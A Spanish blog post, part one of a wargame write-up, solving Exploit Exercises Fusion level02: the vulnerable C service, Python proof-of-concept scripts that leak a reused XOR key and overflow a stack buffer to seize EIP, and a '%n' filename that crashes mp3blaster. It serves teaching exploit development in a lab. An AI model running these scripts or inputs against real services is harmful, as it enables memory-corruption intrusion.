lunes, febrero 17, 2014

Wargames y la alegría de un SegFault (1 de 2)

Tras el descubrimiento hace unos días de una vulnerabilidad de cadenas de formato en el reproductor de consola mp3blaster que me sirvió para ilustrar algunas de las cosas que cuento en el libro de Linux Exploiting me sentí impulsado a seguir investigando hasta descubrir otros bugs de la misma clase que se producían con el modo debug activado: tan simple como marcar como malo (comando "b") un fichero mp3 con un nombre como "%n" o cambiar el título de un grupo con una cadena similar y luego grabar la playlist (F5 y F4 respectivamente).

Todas estas acciones conducían a una violación de segmento o una detección por parte de la protección FORTIFY_SOURCE. Sea como fuere, cada vez que el reproductor se colgaba, una sonrisa se delineaba suavemente sobre mi rostro. Más que el descubrimiento de las vulnerabilidades en sí, la pregunta más difícil de responder era por qué se producía esta inevitable reacción en mi interior. Si no es por fama ni por dinero, ¿por qué nos recorre un escalofrío cada vez que un segfault se vuelca por pantalla?

En mi caso, y en el de muchos otros, la respuesta quizás se halle en el ansia de curiosidad y entretenimiento que nos han inculcado la resolución de wargames. Para aquellos que además de vender sus exploits al mejor postor también comulguen con el espíritu del wargaming, me gustaría compartir las alegrías y penurias de la resolución de un reto de exploiting, para que recuerden que el dinero no lo es todo, que el hacking se encuentra en esa parte del cuerpo que se acelera y te hace saltar de la silla cuando una shell de comandos viene de vuelta de un servidor explotado.

El código que se muestra a continuación pertenece al "level02" de la máquina virtual Fusion de la página de Exploit Exercises.
#define XORSZ 32
void cipher(unsigned char *blah, size_t len)
{

static int keyed;
static unsigned int keybuf[XORSZ];
int blocks;
unsigned int *blahi, j;
if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf))                     exit(EXIT_FAILURE);close(fd);keyed = 1;
}
blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;
for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
} }
void encrypt_file()
{
unsigned char buffer[32 * 4096];
unsigned char op;
size_t sz;
int loop;
printf("[-- Enterprise configuration file encryption service --]\n");
loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {

case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char **argv, char **envp)
{

int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
encrypt_file();
}
Las protecciones activadas son: ASLR, Non-Executable Stack y Non-Executable Heap.

La función encrypt_file() define un buffer de 131072 bytes, pero si el atacante envía por medio del socket el carácter o comando 'E', el siguiente valor entero que envíe será la cantidad de bytes que nread() leerá e introducirá en buffer[], por lo que la vulnerabilidad es obvia, el usuario y no el programador es quien finalmente decide cuántos bytes quiere copiar.

Hasta ahí correcto, como de costumbre lo primero que se intentará será una sobrescritura del registro EIP. Cabe mencionar que como el programa ha asociado la salida estándar con el socket, toda función printf() o write() nos enviará su contenido a través de la red, nuestra prueba de concepto tiene en cuenta este detalle a la hora de recibir las respuestas.
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 132000)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("A"*132000)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(132000, MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
Una de las primeras penurias y el motivo de usar el parámetro MSG_WAITALL con tamaños exactos, consistía en que el carácter de nueva línea "\n" (byte 0x0a) que envía el servidor en sus mensajes (printf()), llegaba en un paquete TCP independiente del mensaje, lo que con una llamada a recv() normal daba problemas. Como siempre, Wireshark fue la herramienta perfecta para darme cuenta de lo que realmente estaba ocurriendo en los cables.

Por otro lado, el envío del comando "Q" es imprescindible para hacer que encrypt_file() salga del bucle y la función con el stack corrupto retorne. El detalle está en que después del envío del payload podríamos enviar directamente el comando "Q" sin ejecutar las tres llamadas a recv(), pero entonces el resultado obtenido sería el siguiente:

Figura 1: Resultado obtenido

La señal SIGPIPE se debe a que el servidor intenta enviar datos cuando el cliente o atacante ya ha cerrado el socket. En cambio, si seguimos el protocolo y ejecutamos el script anterior tal cual se muestra, el resultado sería el de la siguiente imagen.

Figura 2: Resultado tras la ejecución del script

Esto ya luce mucho mejor, una violación de segmento debido a la sobrescritura del registro EIP con una dirección de memoria inválida. El siguiente problema es que EIP no luce el deseado "0x41414141". No es ninguna sorpresa. La función encrypt_file() llama a cipher(), cuya misión es cifrar los datos enviados por el atacante con una clave aleatoria de 128 bytes generada mediante el dispositivo /dev/urandom. El segundo fallo de seguridad es que el uso de la variable keyed estática causa que la clave se genere "una sola vez por conexión", con lo que los datos enviados por el atacante en distintas peticiones siempre se cifran con la misma clave.

Además la función de cifrado XOR es reversible y el resultado es enviado al atacante, tan solo hace falta realizar una operación XOR entre el mensaje original enviado y el recibido para obtener de nuevo la clave. En este punto se me ocurrió una idea un poco más sencilla, ya que podemos enviar bytes NULL (0x00), lo único que precisamos es enviar 128 bytes 0x00 y la respuesta que recibamos será directamente la clave de cifrado (recordad que n XOR 0 = n). Con la clave en la mano, podemos volver a cifrar nuestro payload original ("A"x132000) y esperar resultados:
from socket import *
from struct import *
 from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
msg = sk.recv(120, MSG_WAITALL)
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(size, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
orig_payload = "A"*132000
payload = ''
for i in range(len(orig_payload)):
payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
Figura 3: El exploit consigue el control del flujo

Precioso. Hemos culminado la primera fase de un proceso de exploiting, tenemos control sobre el flujo de ejecución de la aplicación vulnerable. Eso se verá en la segunda parte de este artículo.

Feliz Hacking!!!

Autor: blackngel autor del libro Linux Exploiting

****************************************************************************************
- Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
- Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************

2 comentarios:

  1. No me entero de nada jajajaja

    ResponderEliminar
  2. @53n553y, todo es dedicarle [bastante] tiempo :)

    @blackngel, buen post!

    No conocía el MSG_WAITALL! En una primera versión, lo hice poniendo cutremente dos reads(), uno de 'x' y otro de 1, para el '\n'.


    Lo mejor (o peor, como se quiera ver) de exploit-exercises, es que en cada nivel, antes de llegar a la fase de explotación, has de solucionar varias cosas! En este caso, el "cifrado". Eso es interesante, porqué a parte de aprender lo que toca, aprendes otras cosas también!

    Buena introducción :)

    ResponderEliminar